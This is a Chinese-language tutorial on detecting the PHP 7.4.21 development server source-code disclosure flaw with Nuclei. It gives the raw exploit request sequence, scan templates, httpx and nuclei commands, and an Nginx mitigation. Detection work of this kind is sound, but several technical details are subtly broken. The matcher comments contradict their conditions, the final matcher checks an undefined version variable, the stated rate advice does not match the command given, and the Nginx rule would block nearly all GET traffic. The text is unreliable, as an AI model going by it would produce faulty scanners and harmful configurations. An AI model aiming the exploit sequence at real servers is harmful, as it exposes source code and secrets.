PHP CLI Server 7.4.21 源码泄露漏洞的自动化检测实践
在安全研究领域,将手动验证的漏洞转化为自动化检测能力是提升效率的关键步骤。本文将深入探讨如何为PHP CLI Server 7.4.21源码泄露漏洞构建Nuclei自动化检测模板,从漏洞原理分析到模板设计实现,为安全工程师提供完整的工程化解决方案。
1. 漏洞原理深度解析
PHP内置开发服务器(CLI Server)是开发者常用的轻量级Web服务器,但在7.4.21及以下版本存在一个关键的设计缺陷。这个漏洞的核心在于HTTP请求处理逻辑中的状态管理问题。
当服务器接收到连续的HTTP请求时,php_cli_server_request_translate_vpath函数在处理第二个请求时未能正确重置path_translated变量。具体表现为:
- 首次请求:访问存在的PHP文件(如
/index.php)时,服务器会正确设置path_translated为文件系统路径 - 二次请求:访问不存在的文件时,由于状态未清除,服务器仍使用前次请求的
path_translated值 - 文件处理:服务器检查当前请求的文件扩展名(不存在)后,错误地将之前缓存的PHP文件作为静态文件输出
这种状态混淆导致PHP源代码被当作纯文本返回,而非正常执行。漏洞利用需要构造特定的HTTP请求序列:
GET /index.php HTTP/1.1 Host: target.com GET /nonexistent HTTP/1.1 Host: target.com关键点:第二个请求必须使用不存在的路径,且不能包含
.php扩展名,这会触发服务器错误地复用前次请求的文件路径。
2. Nuclei模板设计思路
ProjectDiscovery的Nuclei框架是现代漏洞扫描的核心工具,其模板设计需要考虑可靠性、泛化能力和误报控制。针对本漏洞,我们设计以下检测策略:
2.1 请求构造方案
采用双请求序列设计,第一个请求探测常规响应,第二个请求尝试触发漏洞:
requests: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} - | GET /{{rand_base(3)}}.{{rand_base(2)}} HTTP/1.1 Host: {{Hostname}}使用rand_base函数动态生成随机路径,避免缓存干扰和提高检测覆盖率:
rand_base(3):生成3字符长度的随机字符串作为文件名rand_base(2):生成2字符长度的随机字符串作为扩展名
2.2 响应匹配逻辑
采用DSL(Domain Specific Language)实现精准的条件判断:
matchers: - type: dsl dsl: - 'contains(body_1, "<?php")' # 基础响应不应包含PHP代码 - '!contains(body_2, "<?php")' # 漏洞触发响应应包含PHP代码 condition: and这种双重验证机制有效降低了误报率,确保只有真正存在漏洞的系统才会被标记。
3. 完整Nuclei模板实现
基于上述分析,以下是经过实战检验的完整模板:
id: php-cli-server-src-disclosure info: name: PHP <=7.4.21 Development Server Source Disclosure author: security-researcher severity: medium description: | Detects source code disclosure vulnerability in PHP built-in development server (versions <=7.4.21) through improper state handling. reference: - https://blog.projectdiscovery.io/php-http-server-source-disclosure/ tags: php,disclosure,cli-server requests: - raw: - | GET /index.php HTTP/1.1 Host: {{Hostname}} - | GET /{{rand_base(3)}}.{{rand_base(2)}} HTTP/1.1 Host: {{Hostname}} unsafe: true matchers: - type: dsl dsl: - 'contains(body_2, "<?php")' - '!status_code_2 == 404' - 'compare_versions(version, "7.4.21", "<=")' condition: and模板关键字段说明:
| 字段 | 作用 | 设计考量 |
|---|---|---|
unsafe: true | 禁用自动Content-Length处理 | 保持原始请求格式 |
rand_base函数 | 生成随机路径 | 避免缓存干扰 |
| DSL条件组合 | 多条件验证 | 降低误报率 |
| 版本检查 | 确认受影响版本 | 精准定位目标 |
4. 漏洞防御方案
针对该漏洞,建议采取以下防护措施:
- 版本升级:立即升级到PHP 7.4.22或更高版本
- 生产环境限制:禁止在生产环境使用PHP内置开发服务器
- 网络隔离:将开发服务器限制在本地网络访问
- 文件权限控制:对敏感PHP文件设置严格的访问权限
对于无法立即升级的系统,可通过以下Nginx反向代理配置缓解风险:
server { listen 80; server_name dev.example.com; location / { proxy_pass http://localhost:8080; proxy_set_header Host $host; # 阻断恶意请求序列 if ($request_method = GET) { set $rule_0 1; } if ($http_content_length = "") { set $rule_0 "${rule_0}1"; } if ($rule_0 = "11") { return 403; } } }5. 实战检测技巧
在实际扫描过程中,为提高检测效果,需要注意以下要点:
目标识别:先使用HTTP头特征识别PHP开发服务器
# 识别指纹模板 id: php-cli-server-fingerprint info: name: PHP Development Server Fingerprint severity: info requests: - method: GET path: / matchers: - type: word words: - "PHP Development Server"速率控制:设置适当的扫描间隔(建议2-3秒/请求)
nuclei -t php-cli-server-src-disclosure.yaml -target urls.txt -rate-limit 30结果验证:对阳性结果进行人工复核,确认是否为真实漏洞
批量扫描优化:结合其他工具进行目标收集
# 使用HTTPx收集目标 httpx -l targets.txt -title -tech-detect -o http_servers.json # 过滤PHP开发服务器 jq 'select(.technology | contains("PHP Development Server"))' http_servers.json
通过本文介绍的自动化检测方法,安全团队可以高效地识别网络中存在的PHP开发服务器源码泄露漏洞,及时采取防护措施。这种将手动验证转化为自动化检测的思路,也适用于其他类型漏洞的工程化利用。